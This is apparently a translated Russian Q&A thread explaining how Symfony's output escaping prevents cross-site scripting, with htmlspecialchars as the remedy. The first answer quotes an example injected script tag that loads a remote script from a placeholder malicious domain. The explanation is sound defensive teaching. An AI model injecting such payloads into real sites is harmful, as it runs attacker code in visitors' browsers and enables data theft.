Как можно использовать экранирование для предотвращения XSS-атак? - PullRequest
3 голосов
/ 29 января 2010

Для предотвращения XSS-атак включено выходное экранирование;

Выше приведено описание Symfony, но я не понимаю.

Ответы [ 2 ]

7 голосов
/ 29 января 2010

XSS - это сокращение от «Межсайтовый скриптинг». Атаки межсайтовых сценариев происходят, когда вам удается проникнуть через скрипт (обычно javascript) на чужой веб-сайт, где он может работать злонамеренно.

XSS возможен, если у вас есть пользовательский ввод на веб-сайте. Например, если я заполняю веб-форму и спрашиваю мое имя, я могу ввести My name is <script src="http://bad.domain/evilscript.js"></script>. Если я отправлю форму, а затем на следующей странице она попросит меня подтвердить свои данные и повторно выведет то, что я ввел , введенный мной неприятный HTML-тег будет обработан, а скрипт будет загружен и запускается браузером.

Чтобы предотвратить это, вам нужно экранировать пользовательский ввод. Экранирование означает, что вы преобразуете (или помечаете) ключевые символы данных, чтобы предотвратить их интерпретацию в опасном контексте. В случае вывода HTML вам необходимо преобразовать символы < и > (среди прочих), чтобы предотвратить появление любого вредоносного HTML. Экранирование этих символов включает превращение их в их эквиваленты &lt; и &gt; (см. PHP * htmlspecialchars () функция), которые не будут интерпретироваться браузером как теги HTML.

Symfony пытается сказать вам, что у него есть возможность делать это автоматически для вашего вывода, и эта возможность включена.

1 голос
/ 29 января 2010

XSS или Межсайтовый скриптинг - это когда кто-то другой получает свой javascript для обслуживания вашим сервером. Если, например, вы можете получить случайный JavaScript, который будет обслуживаться с google.com, тогда вы можете попросить этот javascript отправить вам все, что знает Google о человеке, которому он был предоставлен.

Во избежание того, что эти данные, которые могут быть получены от пользователей (а не от сервера / автора контента), содержат угловые скобки и другие HTML-подобные элементы, которые не будут выполняться конечными пользователями.

...